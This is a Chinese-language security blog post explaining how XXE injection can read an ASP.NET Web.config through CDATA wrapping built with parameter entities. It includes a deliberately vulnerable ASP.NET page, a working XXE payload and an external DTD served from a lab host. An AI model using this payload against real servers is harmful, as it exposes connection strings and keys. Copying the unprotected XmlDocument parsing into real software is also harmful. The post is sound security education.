ASP.NET 下利用 XXE 讀取 Web.config
XXE (XML External Entity Injection) 是個對 Server 端很強力的攻擊手法,可以進而實現 Server-Side Request Forgery、Arbitrary File Read 的利用。雖然可以利用 XXE 讀取一些較簡單的私密的 config、key 檔案,但若想讀取內含 XML 使用的特殊字元 (例如: >
, <
) 的檔案,就會產生一些問題。今天分享其中一個如何利用 XXE 讀取 Web.config 的小技巧。
在 ASP.NET 的環境下,Web.config 是用來控制針對 ASP.NET Application 設定的重要檔案,內容通常都含有極為重要的資訊,比如可能會存放對資料庫的 Connection String、傳輸時加解密所使用的 Key,而 Web.config 內容是採用 XML 的格式。
接下來的測試都會使用下面一個簡單的 Web.config:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<appSettings/>
<connectionStrings/>
<system.web>
<compilation debug="true"/>
<customErrors mode="Off" />
<pages validateRequest="false" />
<httpRuntime requestValidationMode="2.0" />
</system.web>
<!-- I am comment -->
</configuration>
從上面可以看出,Web.config 就是一個標準的 XML 格式,若想使用一般的 XXE Payload 去讀取就可能產生問題,會得不到預期的結果。
接下來的測試環境都會使用下面一個簡單、粗糙的 ASP.NET 程式進行測試。
<%@ Page Language="C#"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Xml" %>
<%
XmlDocument doc = new XmlDocument();
String data = Request.Params["data"];
doc.LoadXml(data);
XmlNode node = doc.SelectSingleNode("/root/name");
Response.Write(node.InnerText);
%>
這個程式很單純地將傳入的 data 參數內容丟入 XmlDocument 作解析,再將 <root />
元素下的 <name />
的文字資料吐出來,未禁止 External Entity。
首先嘗試利用 External Entity 讀取 C:\Windows\win.ini
,因為是簡單的文字檔案,很順利地讀取成功。
接著嘗試讀取 C:\inetpub\wwwroot\Web.config
,看起來能正常讀取,但卻沒有內容。
原因出在輸出 <name />
的內容時是使用 node.InnerText
,即使我們成功引入 Web.config,但資訊都是放置在各個 Element 的 Attributes 中,而 InnerText 僅會輸出文字資料,並不包含 Element 本身的 Tag name 和 Attributes。
此時就可以利用 XML 中的 CDATA Section 將 Web.config 完整地讀取出來。在 CDATA Section 中,XML 解析器不會嘗試將 <
、>
等字元作解析,會當作純粹的文字資料。
試著在 CDATA 中嵌入 <
、>
字元,可以看到 <foo>bar</foo>
被完整地輸出了。
但若想直接在 CDATA Section 內引用 Entity 是不行的,因為不會解析。
所以需要利用 Parameter Entity 將資料與 CDATA Section 的頭尾拼接放入另一個 Entity,再引入該 Entity 才能夠順利輸出。
data 參數輸入:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file PUBLIC "data" "file://C:\inetpub\wwwroot\Web.config">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.56.1/external.dtd">
%dtd;
]><root><name>&all;</name></root>
要引入的 http://192.168.56.1/external.dtd
:
<!ENTITY all "%start;%file;%end;">
上述 Payload 發生的事情是 %dtd;
會先嘗試引入 external.dtd 文件,在 external.dtd 文件中分別又會引入 Parameter Entity %start;
、%file;
、%end;
去構造出 all
Entity 的值,最後在原本的 XML 裡面 &all;
就能引用到由 CDATA Section 包夾起來的 Web.config 的純文字資料。
成功讀取到完整的 Web.config,連同註解的內容都能看得到。
針對 XXE 的利用技巧還有許多種,本篇分享的是我個人認為還算挺有趣的一個技巧,有興趣想了解更多的人可以參考下方 References 的連結。